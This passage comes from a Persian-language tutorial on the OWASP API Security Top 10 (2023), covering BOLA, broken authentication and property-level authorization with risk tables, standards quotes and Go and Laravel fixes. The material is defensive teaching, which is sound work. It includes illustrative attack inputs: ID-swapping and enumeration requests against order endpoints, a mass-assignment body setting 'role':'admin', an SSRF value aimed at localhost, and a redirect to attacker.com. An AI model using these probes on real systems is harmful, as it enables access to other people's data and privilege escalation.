OWASP API Security Top 10 (2023): BOLA, BOPLA, BFLA, Business Flows, Inventory, Unsafe Consumption
"The OWASP API Security Top 10 2023 is a forward-looking awareness document for a fast pace industry. It does not replace other TOP 10's." — OWASP API Security Top 10 2023, Release Notes
خلاصه: API نقشهٔ اشیا و تابعهایش را به کلاینت میدهد: /orders/{id}، /admin/users، PATCH /me، POST /checkout. بیشتر نفوذها exploit پیچیده نیستند؛ کلاینت با توکن معتبر نقشه را دنبال میکند و سرور نمیپرسد «آیا تو مجازی به این شیء دست بزنی، این تابع را اجرا کنی، این ویژگی را بخوانی یا بنویسی، یا این جریان را هزار بار اجرا کنی؟». OWASP API Security Top 10 سال ۲۰۲۳ این شکستها را نامگذاری میکند. این فصل شش خطر ویژهٔ API را کامل باز میکند: API1 BOLA، API3 BOPLA، API5 BFLA، API6 Business Flows، API9 Inventory و API10 Unsafe Consumption. چهار خطر دیگر هرکدام یک بند و پیوند به فصل تخصصی دارند. برای هر خطر endpoint آسیبپذیر و اصلاحشده در Go و Laravel 13 داریم؛ تستها نشت و سپس توقفش را نشان میدهند. تمرکز: مجوز شیء، ویژگی و تابع را جدا میکنیم؛ در API1 BOLA و IDOR میبینیم چرا UUID در برابر شناسهٔ ترتیبی فقط پیمایش شناسهها را دشوار میکند و جای بررسی مالکیت را نمیگیرد. پرسوجو (Query) محدود به مالک، امنیت سطری و شیء انتقال داده (DTO) در ورودی و خروجی جلوی BOLA و دو سمت API3 BOPLA، یعنی افشای بیشازحد داده (Excessive data exposure) و انتساب انبوه (Mass assignment)، را میگیرند. ابزارها شامل $fillable، $guarded، #[Fillable]، #[Hidden] و DisallowUnknownFields هستند. رد پیشفرض مسیر مدیریتی هنگام ثبت، دستکاری متد در API5 BFLA، سوءاستفادهٔ رباتها و خرید احتکاری در API6، سقف کاربر و منبع، اثرانگشت دستگاه و الگوی غیرانسانی را بررسی میکنیم. احراز هویت مجدد (Re-authentication) برای تغییر حساس، سقف صفحه و batch و هزینه، SSRF، problem details و CORS را در ارتباط با API مرور میکنیم. در API9، فهرست API با OpenAPI، کشف API سایه (Shadow API) و API زامبی (Zombie API)، نسخهبندی و Deprecation/Sunset/۴۱۰ را دنبال میکنیم. در API10، اعتماد به شخص ثالث، کنترل redirect، سقف زمان و اندازه و اعتبارسنجی پاسخ بالادستی موضوعاند. جای middleware مجوز، Policy object، Laravel Policies، Gate، Form Request و API resource، رخداد authz_fail و هشدار آن، ارجاعهای CWE و جدول ریسک OWASP با محورهای بهرهبرداری، شیوع، تشخیصپذیری و اثر نیز روشن میشود. هدف یادگیری: برای هر endpoint خطرهایش و درخواست اثباتکننده را بنویسید: تعویض شناسه، افزودن ویژگی، تغییر متد، تکرار جریان، فراخوانی نسخهٔ قدیمی یا مسمومکردن پاسخ بالادستی. اصلاح Go شامل بررسی مالکیت از context، جدول مسیر الزامکنندهٔ policy، DTOهای ورودی و خروجی، محافظ جریان، نصب مسیر از OpenAPI با هدرهای چرخهٔ عمر و کلاینت سختشده است. در Laravel 13 از Policy با denyAsNotFound، Gate::authorize، middleware با can: و #[Middleware]، Form Request با prohibited، JsonResource، RateLimiter::for با چند سقف، middleware چرخهٔ عمر و کلاینت Http با allow_redirects => false استفاده کنید. تست دوکاربره باید جلوی برگشت باگ را بگیرد.
موضوع این فصل خطرهای ویژهٔ API است. فهرست وب شامل injection، XSS، CSRF، هدرها، debug mode و SSRF با بررسی IP هنگام اتصال در OWASP Top 10 آمده است. RBAC، ABAC، ReBAC، policy engine و Zero Trust در مدلهای مجوز هستند. گذرواژه، MFA و نشست در احراز هویت، قالب و جریان توکن در JWT عمیق و OAuth 2.0، OIDC و SSO توضیح داده شدهاند و اینجا تکرار نمیشوند. الگوریتمها در محدودیت نرخ، طراحی منبع و نسخه در طراحی REST API و نسخهبندی API، و سختسازی هدر، ورودی و CI/CD در چکلیست امنیت API است. API key، امضای درخواست HMAC و امضای webhook در کلیدهای API، امضای درخواست و webhook آمدهاند. جزئیات Go در احراز هویت در Go و Middlewareها، قالب شناسه در تولید شناسه، و gateway در API gateway، BFF و service mesh قرار دارند.
نقشهٔ صفحه
| اگر دنبال این هستید | بروید به |
|---|---|
| ده خطر، امتیازها و تغییرهای 2019 → 2023 در سه جدول | همهچیز در یک دقیقه |
| چرا API با صفحهٔ وب متفاوت شکست میخورد | چرا وجود دارد |
| ویرایشها، روششناسی، امتیاز ریسک و NIST SP 800-228 | از کجا آمده |
درخواست GET /orders/1002 با توکن Ana | API1 BOLA |
| شناسهٔ ترتیبی، UUIDv4 در برابر UUIDv7 و enumeration | UUID در برابر شناسهٔ ترتیبی |
| ورود ضعیف، توکن در URL و نبود Re-authentication | API2 Broken Authentication |
وجود password_hash در پاسخ و role در درخواست | API3 BOPLA |
هزینهٔ ?limit=10000000، batch در GraphQL و قبض SMS | API4 Resource Consumption |
جایگزینی GET با DELETE و کشف /api/admin/v1/users/all | API5 BFLA |
| خرید احتکاری، ثبتنام جعلی و نگهداشتن صندلیها | API6 Business Flows |
واکشی picture_url=localhost:8080 | API7 SSRF |
| stack trace، بازتاب CORS و نبود TLS | API8 Misconfiguration |
| میزبان beta، نسخهٔ قدیمی و مسیر مستندنشده | API9 Inventory |
| شریکی که POST شما را به مهاجم redirect میکند | API10 Unsafe Consumption |
| تفاوت middleware، policy و Query scope | Middleware مجوز و Policy object |
رخدادهای authz_fail و هشدارهایشان | ثبت و هشدار شکست مجوز |
بررسی GraphQL node(id:)، gRPC و webhook | فراتر از REST |
| کدهای وضعیت، تنظیمها و ارجاعهای CWE | سازوکار |
| کدهای عملی | Go، Laravel |
| یافتههای pentest و بستن آنها | حل مسئلههای کلاسیک |
| تست دوکاربره، scanner و مقایسهٔ spec | آزمون |
| انتخاب کنترل متناسب با endpoint | انتخاب |
| از مونولیت تا سیستم توزیعشده | در معماری |
| تمرین عملی | آزمایشگاه |
همهچیز در یک دقیقه
فهرست ۲۰۲۳. هر سطر در کاتالوگ باز میشود. «همینجا» یعنی توضیح کامل در این صفحه؛ پیوند یعنی یک بند اینجا و توضیح کامل در فصل تخصصی.
| خطر | به زبان ساده | exploit کوچک | اولین اصلاح | عمق |
|---|---|---|---|---|
| API1 Broken Object Level Authorization (BOLA) | سرور هویت را میسنجد، ولی تعلق شیء را نه | GET /api/orders/1002 با توکن صاحب 1001 | بررسی مجوز شیء در هر دسترسی؛ Query محدود به مالک و tenant | همینجا |
| API2 Broken Authentication | راه ورود ضعیف است | تغییر ایمیل با توکن دزدیدهشده، سپس «فراموشی گذرواژه» | Re-authentication برای تغییر حساس؛ احراز هویت استاندارد | احراز هویت |
| API3 Broken Object Property Level Authorization (BOPLA) | دیدن شیء مجوز همهٔ فیلدها نیست؛ ویرایش بعضی فیلدها مجوز همه نیست | پاسخ حاوی password_hash؛ PATCH /me با "role":"admin" | DTO پاسخ و ورودی؛ فهرست مجاز ویژگیها در هر دو جهت | همینجا |
| API4 Unrestricted Resource Consumption | یک درخواست هزینهٔ CPU، حافظه یا پول دارد | ?limit=10000000؛ 999 mutation در یک batch از GraphQL | سقف صفحه، بدنه، batch، timeout و هزینه | محدودیت نرخ |
| API5 Broken Function Level Authorization (BFLA) | کاربر عادی تابع مدیریتی را اجرا میکند | DELETE /api/users/2؛ GET /api/admin/v1/users/all | رد پیشفرض؛ policy نقش برای هر مسیر و متد | همینجا |
| API6 Unrestricted Access to Sensitive Business Flows | قابلیت درست با اجرای اسکریپتی به کسبوکار آسیب میزند | ربات همهٔ موجودی عرضهٔ کنسول را میخرد | نامگذاری جریان حساس؛ سقف کاربر، دستگاه و منبع؛ نشانههای ربات | همینجا |
| API7 Server Side Request Forgery | API آدرس انتخابی مهاجم را واکشی میکند | {"picture_url":"localhost:8080"} | فهرست مجاز میزبان، scheme و port؛ fetcher جدا؛ بررسی IP هنگام اتصال | OWASP Top 10 |
| API8 Security Misconfiguration | پیشفرضها و خطای پرجزئیات | stack trace حاوی SQL؛ CORS بازتابدهندهٔ هر origin | پیکربندی سختشده بهصورت کد؛ خطای عمومی؛ CORS دقیق | OWASP Top 10 |
| API9 Improper Inventory Management | کسی همهٔ میزبانها، نسخهها و مسیرها را نمیشناسد | brute force کد reset روی beta.api… بدون limiter | فهرست API با OpenAPI، بازنشستگی، حفاظت یکسان همهٔ نسخهها | همینجا |
| API10 Unsafe Consumption of APIs | به دادهٔ شریک بیشتر از ورودی کاربر اعتماد میکنید | شریک 308 به attacker.com میدهد و POST دنبال میکند | TLS، timeout، بدون redirect کور، سقف اندازه و اعتبارسنجی پاسخ بالادستی | همینجا |
جدول ریسک: بهرهبرداری (Exploitability)، شیوع (Prevalence)، تشخیص (Detectability) و اثر (Impact). امتیازها با OWASP Risk Rating Methodology محاسبه میشوند: Exploitability و Detectability دارای Easy ۳، Average ۲ و Difficult ۱ هستند؛ Prevalence دارای Widespread ۳، Common ۲ و Difficult ۱؛ اثر فنی هم Severe ۳، Moderate ۲ و Minor ۱. عامل تهدید در همهٔ سطرها "API Specific" و اثر کسبوکار "Business Specific" است. مقدارهای زیر از صفحهٔ هر خطر آمدهاند:
| خطر | Exploitability | Prevalence | Detectability | اثر فنی | ارجاعهای کلیدی CWE در صفحهٔ خطر |
|---|---|---|---|---|---|
| API1 BOLA | Easy | Widespread | Easy | Moderate | CWE-285, CWE-639 |
| API2 Broken Authentication | Easy | Common | Easy | Severe | CWE-204, CWE-307 |
| API3 BOPLA | Easy | Common | Easy | Moderate | CWE-213, CWE-915 |
| API4 Resource Consumption | Average | Widespread | Easy | Severe | CWE-770, CWE-400, CWE-799 |
| API5 BFLA | Easy | Common | Easy | Severe | CWE-285 |
| API6 Business Flows | Easy | Widespread | Average | Moderate | موردی ذکر نشده |
| API7 SSRF | Easy | Common | Easy | Moderate | CWE-918 |
| API8 Misconfiguration | Easy | Widespread | Easy | Severe | CWE-2, CWE-16, CWE-209, CWE-319, CWE-388, CWE-444, CWE-942 |
| API9 Inventory | Easy | Widespread | Average | Moderate | CWE-1059 |
| API10 Unsafe Consumption | Easy | Common | Average | Severe | CWE-20, CWE-200, CWE-319 |
۲۰۱۹ → ۲۰۲۳. یادداشت انتشار: "We've combined Excessive Data Exposure and Mass Assignment focusing on the common root cause: object property level authorization validation failures."
| 2023 | منشأ در 2019 | تغییر |
|---|---|---|
| API1 BOLA | API1 | نام ثابت، همچنان اول |
| API2 Broken Authentication | API2 Broken User Authentication | تغییر نام؛ پوشش احراز هویت ماشینبهماشین بین microserviceها |
| API3 BOPLA | API3 Excessive Data Exposure + API6 Mass Assignment | ادغام بر پایهٔ ریشهٔ مشترک: مجوز در سطح ویژگی |
| API4 Unrestricted Resource Consumption | API4 Lack of Resources & Rate Limiting | تمرکز بر هزینه و منابع، فراتر از نرخ درخواست |
| API5 BFLA | API5 | بدون تغییر |
| API6 Sensitive Business Flows | جدید | "most of those that can be mitigated using rate limiting" |
| API7 SSRF | جدید | webhook، پیشنمایش URL و metadata ابر |
| API8 Security Misconfiguration | API7 | یک ردیف پایینتر |
| API9 Improper Inventory Management | API9 Improper Assets Management | تغییر نام؛ افزودن نقاط کور جریان داده |
| API10 Unsafe Consumption of APIs | جدید | مهاجم سراغ integrationهای شما میرود |
| حذفشده | API8 Injection, API10 Insufficient Logging & Monitoring | دیگر مدخل جدا ندارند؛ injection در سناریوهای API10 زنده است و API6 هنوز "API10:2019 Insufficient Logging & Monitoring" را در منابع دارد |
چرا وجود دارد
صفحهٔ وبی که در سرور رندر میشود تعیین میکند کاربر چه ببیند؛ HTML فقط دکمههای مجاز او را دارد. API تابعها و اشیای خام را میدهد و انتخاب نمایش را به کلاینت میسپارد. پس سه تصمیمی که فریمورک وب پنهان میکرد باید در سرور صریح شوند: این فراخواننده به کدام اشیا دسترسی دارد، کدام تابعها را میتواند اجرا کند و کدام ویژگیها را میتواند بخواند یا بنویسد. صفحهٔ API1 علت را چنین بیان میکند: سرور "usually does not fully track the client's state, and instead, relies more on parameters like object IDs, that are sent from the client to decide which objects to access." کلاینت ماشینی خستگیناپذیر (API4، API6)، میزبان و نسخهای که سریعتر از مستندات تکثیر میشوند (API9)، و integration با دادهٔ اعتبارسنجینشده (API10) را اضافه کنید. نتیجه فقط بخشی از فهرست Top 10 وب را تکرار میکند.
| انتخاب | سود | هزینه |
|---|---|---|
findOrFail($id) / store.Get(id) عمومی | یک خط برای هر endpoint | هر endpoint شناسهگیر نامزد BOLA است |
| Query محدودشده و Policy object برای هر منبع | با حدس مسیر هم پابرجاست؛ آزمونپذیر | tenant و مالک در همهٔ Queryها؛ تست policy |
سریالسازی مدل (toJson، json.Marshal(user)) | بدون کد DTO | هر ستون جدید پیشفرض نشت میکند؛ excessive data exposure |
| DTO پاسخ و ورودی | ستون جدید تا انتشار خصوصی است؛ نوشتن صریح است | یک کلاس برای هر شکل داده |
| پنهانکردن مسیر مدیریتی فقط در UI | سریع | خوانندهٔ بستهٔ JavaScript مسیر را پیدا میکند؛ BFLA |
| جدول مسیر با policy مشخص برای هر مسیر | رد پیشفرض؛ مرور در یک فایل | کد تکراری برای هر مسیر |
| جریان باز برای هر کلاینت احرازشده | تجربهٔ کاربری بیاصطکاک | ربات هر منبع کمیاب را میبرد؛ API6 |
| سقف هر جریان، نشانهٔ دستگاه و challenge | دسترسی منصفانه | اصطکاک برای بعضی انسانها؛ تنظیم مداوم |
| زندهنگهداشتن نسخهٔ قدیمی «برای احتیاط» | هیچ کلاینتی نمیشکند | Zombie API با ضعف قدیمی؛ API9 |
| اعتماد به پاسخ شریک | integration سریع | نفوذ به او، injection یا نشت دادهٔ شماست؛ API10 |
تصویری از زندگی روزمره. هتل را تصور کنید. پذیرش گذرنامه را میسنجد و کارت کلید میدهد: احراز هویت (Authentication)، یعنی API2. کارت اتاق ۴۱۲ را باز میکند، نه ۴۱۳: مجوز در سطح شیء (Object-level authorization)، یعنی API1. باشگاه باز میشود ولی راهروی کارکنان نه: مجوز در سطح تابع (Function-level authorization)، یعنی API5. داخل اتاق مینیبار مجاز است، ولی برنامهریزی قفل یا خواندن پروندهٔ مهمان قبلی نه، هرچند هر دو «داخل اتاق شما» هستند: مجوز در سطح ویژگی (Property-level authorization)، یعنی API3. رزرو همهٔ اتاقهای شب سال نو با نام جعلی و لغو در روز ۳۰ هیچ قفلی را نمیشکند؛ سوءاستفاده از جریان کسبوکار است، API6. در جانبی ثبتنشدهٔ دوران بازسازی که باز مانده Shadow API است؛ بال قدیمی «بستهشده» با درهای فعال Zombie API است، API9. شرکت رختشویی کیسههایی با محتویات نامعلوم میدهد و شما بیبررسی در اتاقها میگذارید: Unsafe Consumption، یعنی API10. در ادامه از همین هتل استفاده میکنیم.
سه بدفهمی رایج، از همان ابتدا
- «JWT داریم، پس مجوز حل است.» توکن هویت و شاید نقش را میگوید؛ نمیگوید سفارش ۱۰۰۲ مال فراخواننده است. API1 صریح است: "Comparing the user ID of the current session (e.g. by extracting it from the JWT token) with the vulnerable ID parameter isn't a sufficient solution to solve Broken Object Level Authorization (BOLA). This approach could address only a small subset of cases."
- «شناسهها UUID هستند، پس کسی حدس نمیزند.» شناسه در URL، لاگ، لینک مشترک، ایمیل و پاسخ API دیگر نشت میکند. OWASP شناسهٔ تصادفی را لایهٔ اضافه توصیه میکند. RFC 9562 هشدار میدهد پیادهسازیها "SHOULD NOT assume that UUIDs are hard to guess" و UUIDها "MUST NOT be used as security capabilities (identifiers whose mere possession grants access)."
- «محدودیت نرخ ربات را حل میکند.» سقف IP یک لپتاپ را متوقف میکند؛ سناریوی API6 "distributed across different IP addresses and locations" اجرا میشود و هر درخواست معتبر است. حفاظت جریان تعیین میکند یک شخص، دستگاه یا خوشهٔ حساب چه مقدار از جریان مصرف کند؛ این پیش از تصمیم فنی، تصمیم محصول است.
از کجا آمده
- OWASP API Security Project. ویرایش نخست در ۲۰۱۹ منتشر شد؛ از API1:2019 Broken Object Level Authorization تا API10:2019 Insufficient Logging & Monitoring. یادداشت انتشار ۲۰۲۳ آن را "the second edition of the OWASP API Security Top 10 edition, exactly four years after its first release." مینامد.
- روششناسی. فراخوان عمومی داده "ran from September 1st and November 30th, 2022"؛ یادداشت انتشار میپذیرد "no data was contributed". پس تجربهٔ تیم، مرور متخصصان و بازخورد جامعه مبنا شد. دادهٔ رخدادهای پلتفرمهای bug bounty و گزارشهای عمومی ۲۰۱۹ تا ۲۰۲۲ جهت دادند. بخش ریسک: "Since this edition is not data-driven, prevalence results from a consensus among the team members."
- امتیاز ریسک. "The OWASP Risk Rating Methodology was used to do the risk analysis." مقیاس Easy ۳، Average ۲، Difficult ۱؛ Widespread، Common، Difficult؛ و Severe، Moderate، Minor در همهچیز در یک دقیقه آمده است. رتبهبندی "does not take into account the actual impact on your business" و هدف Top 10 "not to do this risk analysis for you" است.
- تازهها. چهار تغییر: ادغام BOPLA، تأکید بیشتر بر مصرف منابع، دستهٔ تازهٔ جریان حساس "to address new threats, including most of those that can be mitigated using rate limiting" و Unsafe Consumption of APIs، چون "attackers have started looking for a target's integrated services to compromise those, instead of hitting the APIs of their target directly."
- NIST SP 800-228، Guidelines for API Protection for Cloud-Native Systems، منتشرشده در ژوئن ۲۰۲۵ و بهروزشده در ۱۳ مارس ۲۰۲۶، مسئلهٔ فهرست APIها را با زبان اسناد دولتی بیان میکند: "The enterprise estate cannot be protected without an accurate API inventory". تعریف "Rogue or shadow APIs"، APIهایی است که "defined for internal use (e.g., debugging, testing, ad hoc solutions to business problems)" و "often bypass standard security review practices" هستند. "Zombie or deprecated APIs" هم "have been replaced or superseded by newer systems but have not yet been entirely removed". توصیهٔ REC-API-4.2 خواستار "Organizational API inventory of all internal (including shadow and Zombie APIs) and external APIs" است. صفحهٔ CSRC متن اولیهٔ ژوئن ۲۰۲۵ میگوید "Withdrawn on March 13, 2026. Superseded by SP 800-228"؛ ارجاع اینجا به بهروزرسانی است.
- رابطه با فهرست وب. API1 شکل APIِ IDOR در A01:2021 است؛ API7 معادل A10:2021 SSRF و API8 معادل A05:2021. سازوکارهای عمومی در OWASP Top 10 و زاویهٔ API در این صفحهاند.
- یادداشت نسخه. نقلقولها از صفحات ۲۰۲۳ در owasp.org/API-Security/editions/2023/en/ با تاریخ مطالعهٔ ۲۰۲۶-۱۱-۲۹ هستند. ویرایش ۲۰۲۷ ممکن است ترتیب فهرست را عوض کند؛ سازوکارها تغییر نمیکنند.
کاتالوگ مفاهیم
API1 Broken Object Level Authorization (BOLA): بررسی مجوز در سطح شیء حیاتی
به زبان ساده: API کارت کلید را دم در میسنجد، سپس هر شمارهاتاقی را که تایپ کنید باز میکند. وارد شدهاید و endpoint مجاز است، ولی شیء پشت شناسه مال دیگری است.
بدفهمی رایج: «BOLA همان نبود بررسی ورود است.» نه؛ فراخواننده در BOLA باید به endpoint برسد. مرز OWASP دقیق است: "In the case of BOLA, it's by design that the user will have access to the vulnerable API endpoint/function. The violation happens at the object level, by manipulating the ID. If an attacker manages to access an API endpoint/function they should not have access to - this is a case of Broken Function Level Authorization (BFLA) rather than BOLA." مقایسهٔ sub توکن JWT با user_id مسیر هم فقط /users/{id} را پوشش میدهد، نه /orders/{id}، /shops/{shopName}/revenue_data.json یا VIN.
تعریف: مجوز در سطح شیء (Object-level authorization) چنین تعریف میشود: "Object level authorization is an access control mechanism that is usually implemented at the code level to validate that a user can only access the objects that they should have permissions to access." قاعدهٔ OWASP: "Every API endpoint that receives an ID of an object, and performs any action on the object, should implement object-level authorization checks." نام قدیمی همین شکست در وب IDOR یا Insecure Direct Object Reference است. cheat sheet مربوط به IDOR سه جزء را میگوید: شیء، ارجاع یعنی "an ID, UUID, account number, token or slug"، و "A missing object-level authorization check". ارجاعها CWE-639 Authorization Bypass Through User-Controlled Key و CWE-285 Improper Authorization هستند. CWE-862 Missing Authorization و CWE-863 Incorrect Authorization کلاسهای مرتبط MITRE هستند که در صفحهٔ OWASP نیامدهاند.
Ana (user 41, tenant 7) API (authenticated, no object check)
1 GET /api/orders/1001 Bearer tok-ana -> 200 {"id":1001,"owner_id":41,...} hers
2 GET /api/orders/1002 Bearer tok-ana -> 200 {"id":1002,"owner_id":57,...} BOLA: Bob's order
3 for id in 1000..99999: GET /api/orders/$id -> every order of every customer enumeration
4 DELETE /api/orders/1003 (same handler pattern) -> 204 data loss
fix: SELECT ... WHERE id = $1 AND tenant_id = $2 AND owner_id = $3, then policy check
5 GET /api/orders/1002 Bearer tok-ana -> 404 (identical to /orders/999999) + authz_fail log lineسناریوهای واقعی؛ سه مورد نخست از OWASP: میزبان تجارت الکترونیکی /shops/{shopName}/revenue_data.json را منتشر میکند و اسکریپت با نامهای endpoint دیگر، "the sales data of thousands of e-commerce stores" را میخواند؛ API موبایل خودروساز موتور را روشن و در را با VIN باز میکند، بیبررسی تعلق VIN؛ سرویس سند هر گزارش در mutationِ deleteReports از GraphQL را حذف میکند. نمونههای دیگر: SaaS چندمستأجری با tenant_id از بدنه؛ ابزار پشتیبانی که «پشتیبانی همه را میبیند» را به «هرکس URL را دارد» تبدیل کرده؛ endpoint تولید presigned URL که هر کلید شیء انتخابی کلاینت را امضا میکند.
| شناسه کجا پنهان است | نمونه | تشخیص | اصلاح |
|---|---|---|---|
| مسیر | GET /orders/{id} | دو کاربر تست؛ تعویض شناسه | Query محدودشده و policy |
| Query string | ?account=123 | بازپخش با توکن B | همان؛ ترجیح /me/... |
| بدنه | {"user_id": 12345} در بهروزرسانی | مقایسهٔ شناسههای بدنه با توکن | subject از نشست؛ نادیدهگرفتن شناسهٔ بدنه |
| هدر | X-Tenant-Id: 8 | تغییر هدر | tenant فقط از principal احرازشده |
| GraphQL | node(id: "T3JkZXI6MTAwMg==")، mutationهای batch | decode شناسهٔ سراسری و بازپخش | مجوز در هر resolver، نه gateway |
| کلید فایل | /files/invoices/2026/1002.pdf | حدس نامها | نگاشت شناسهٔ عمومی به کلید ذخیرهشده پس از بررسی |
| منبع تودرتو | /shops/7/orders/1002 با 1002 متعلق به فروشگاه 8 | ترکیب شناسهٔ والد و فرزند | محدودکردن فرزند با والد (scopeBindings) |
چه چیزی جلویش را میگیرد؛ به ترتیب "How To Prevent" در OWASP: "Implement a proper authorization mechanism that relies on the user policies and hierarchy"؛ استفاده از آن "in every function that uses an input from the client to access a record in the database"؛ "Prefer the use of random and unpredictable values as GUIDs for records' IDs"؛ و "Write tests to evaluate the vulnerability of the authorization mechanism. Do not deploy changes that make the tests fail."
| لایه | Go | Laravel 13 | پایگاه داده |
|---|---|---|---|
| چه کسی صدا میزند | principal.From(r.Context()) از middleware احراز هویت | $request->user() از auth:sanctum | SET LOCAL app.tenant_id در هر تراکنش (Transaction) |
| بارگذاری فقط دادهٔ مجاز | GetScoped(id, tenant, owner) | Order::where('tenant_id', …)->findOrFail($id)، $user->orders()->findOrFail($id) | WHERE id = $1 AND tenant_id = $2 |
| تصمیم | تابع policy با CanView(u, o) | OrderPolicy::view و Gate::authorize('view', $order) | Policy امنیت سطری (Row-level security) در PostgreSQL |
| پاسخ | 404 یکسان برای بیگانه و ناموجود | Response::denyAsNotFound() | کاربرد ندارد |
| ثبت | slog با authz_fail | Gate::after → Log::warning('authz_fail') | pgAudit اختیاری |
اصلاح / روش استفاده: اول SQL: مالک و tenant در WHERE؛ حل BOLA. در Go بررسی مالکیت در handler با فراخواننده از context، هرگز از درخواست؛ Go. در Laravel، Laravel Policies و Query محدود به tenant؛ Laravel. مدلهای عمومی در مدلهای مجوز هستند.
UUID در برابر شناسهٔ ترتیبی و پیمایش شناسهها مهم
به زبان ساده: شناسهٔ ترتیبی BOLA را به حلقهٔ for تبدیل میکند. شناسهٔ تصادفی حلقه را بیفایده میکند، ولی در را قفل نمیکند.
بدفهمی رایج: «UUID، BOLA را اصلاح میکند.» فقط پیمایش شناسهها (Enumeration)، راه ارزان یافتن هدف، حذف میشود. برای شناسهٔ نشتکرده کاری نمیکند: لینک ایمیل، تصویر مشترک، هدر referrer، لاگ، پاسخ API دیگر یا integration شریک کافی است. سناریوی API3 در OWASP، mutation گزارش کاربر را نشان میدهد که id کاربر گزارششده را برمیگرداند. cheat sheet مربوط به IDOR: "even with complex identifiers, access control checks are essential."
تعریف: Enumeration کشف شناسهٔ معتبر با آزمودن ترتیب یا الگوست. UUID نسخهٔ 4 دارای ۱۲۲ بیت تصادفی است. UUID نسخهٔ 7 در RFC 9562، timestamp میلیثانیهای را در ۴۸ بیت نخست میگذارد و سپس بیتهای تصادفی را؛ پس مرتبسازی زمانی و رفتار خوب index را با سختی حدس جمع میکند، بهشرط تولید بخش تصادفی با CSPRNG. بخش ۶.۹ از RFC 9562 میگوید پیادهسازیها "SHOULD utilize a cryptographically secure pseudorandom number generator". بخش ۸ تأکید میکند: "Implementations SHOULD NOT assume that UUIDs are hard to guess."
1 ids 1001, 1002, 1003 ... attacker: for i in 1..N -> N requests find every object
2 ids UUIDv4 / UUIDv7 attacker: cannot iterate; needs a leaked id
3 leaked UUID (email, log) attacker: GET /orders/0193f0f2-... -> still 200 without the object check
4 with the object check -> 404 for every id that is not the caller's, sequential or not| روش شناسه | Enumeration | محلیبودن index | نشت | کاربرد |
|---|---|---|---|---|
bigint identity / AUTO_INCREMENT | بسیار ساده | عالی | حجم؛ سفارش 1002 یعنی حدود 1000 سفارش | کلید داخلی؛ هرگز تنها دفاع نباشد |
| UUIDv4 | غیرعملی | ضعیف؛ insert تصادفی | هیچ | ستون شناسهٔ عمومی |
| UUIDv7 | برای بخش تصادفی غیرعملی | خوب؛ ترتیب زمانی | زمان ساخت | شناسهٔ عمومی و کلید اصلی |
| ULID | مانند UUIDv7 | خوب | زمان ساخت | همان؛ قالب غیر RFC |
| Hashids / عدد صحیح رمزشده | با نشت کلید برگشتپذیر | کاربرد ندارد | ترتیب پس از decode | OWASP: "Avoid encrypting identifiers" |
تولید شناسه در مقیاس، شامل Snowflake، ULID و جزئیات UUIDv7، در تولید شناسه آمده است.
API2 Broken Authentication مهم
به زبان ساده: قفل در ورودی ضعیف است: گذرواژهٔ حدسزدنی، حدس نامحدود، توکن در URL، یا توکن دزدیدهشدهای که برای تصاحب کل حساب کافی است.
بدفهمی رایج: «احراز هویت ما OAuth است.» API2 میگوید: "OAuth is not authentication, and neither are API keys." همچنین: "API keys should not be used for user authentication. They should only be used for API clients authentication."
تعریف و توضیح ویژهٔ این صفحه: API2 شامل credential stuffing و brute force بدون lockout یا captcha است؛ از جمله batch در GraphQL برای دورزدن "three requests are allowed per minute". گذرواژهٔ ضعیف، توکن و گذرواژه در URL، JWT بدون امضا یا با alg: none، انقضای بررسینشده، hash ضعیف و سرویسهای microservice قابلدسترسی "without authentication" هم در همین دستهاند. درس ویژهٔ API در سناریوی دوم OWASP، Re-authentication است: پذیرش تغییر ایمیل فقط با bearer token به دزد توکن اجازه میدهد ایمیل حساب را عوض کند و «فراموشی گذرواژه» بزند. قاعده: "Require re-authentication for sensitive operations (e.g. changing the account owner email address/2FA phone number)". endpointهای "Credential recovery/forgot password endpoints" را برای محدودیت نرخ و lockout مثل ورود ببینید. نمونههای Go authn و Laravel ChangeEmailRequest همین اصلاح را نشان میدهند. گذرواژه، MFA، نشست و lockout در احراز هویت، اعتبارسنجی توکن در JWT عمیق، و جریانها در OAuth 2.0، OIDC و SSO هستند. ارجاعها: CWE-204 Observable Response Discrepancy و CWE-307 Improper Restriction of Excessive Authentication Attempts.
API3 Broken Object Property Level Authorization (BOPLA): Excessive data exposure و Mass assignment حیاتی
به زبان ساده: دیدن فهرست مهمانها مجوز دیدن شمارهٔ گذرنامهشان نیست؛ تغییر بالش مجوز تغییر نرخ اتاق نیست. BOPLA یعنی سرور فراموش کرده مجوز تا سطح فیلد ادامه دارد: در خروجی فیلدی میفرستد که نباید بخوانید؛ در ورودی فیلدی میپذیرد که نباید بنویسید.
بدفهمی رایج: «کلاینت فقط نام و avatar را نشان میدهد، پس باقی JSON مهم نیست.» پاسخ خود داده است؛ هرکس proxy داشته باشد همه را میخواند. متن ۲۰۱۹ صریح بود: "Never rely on the client side to filter sensitive data." همتای نوشتن این باور، «فیلدهای موردانتظار را اعتبارسنجی میکنیم» است. اعتبارسنجی فیلدهای موردانتظار، فیلد غیرمنتظره را رد نمیکند؛ فریمورکی که کل بدنه را bind میکند همچنان role را مینویسد.
تعریف: مجوز در سطح ویژگی (Property-level authorization) چنین توضیح داده شده: "When allowing a user to access an object using an API endpoint, it is important to validate that the user has access to the specific object properties they are trying to access." endpoint آسیبپذیر است اگر "exposes properties of an object that are considered sensitive and should not be read by the user. (previously named: "Excessive Data Exposure")" یا "allows a user to change, add/or delete the value of a sensitive object's property which the user should not be able to access (previously named: "Mass Assignment")". cheat sheet مربوط به Mass Assignment نامهای فریمورکی را میدهد: "Mass Assignment: Ruby on Rails, NodeJS"، "Autobinding: Spring MVC, ASP NET MVC"، "Object injection: PHP". ارجاعها CWE-213 Exposure of Sensitive Information Due to Incompatible Policies و CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes هستند. CWE-1321 یا prototype pollution همخانوادهٔ JavaScriptی CWE-915 است؛ مرتبط است ولی در صفحهٔ OWASP نیامده.
Read side (excessive data exposure) Write side (mass assignment)
1 GET /api/users/313 (Ana looks at Sam) PATCH /api/me {"name":"Sam"} normal
2 -> {"id":313,"name":"Sam","password_hash":"$argon2id..", PATCH /api/me {"name":"Sam","role":"admin","blocked":false}
"mfa_secret":"JBSW..","recent_location":"52.37,4.89"} -> 200, role=admin, blocked=false escalation + unblock
3 app shows "Sam" only; the proxy shows everything host replays approve_booking + "total_stay_price":"$1,000,000"
fix: response DTO = allow-list of properties fix: input DTO / $fillable / prohibited rules
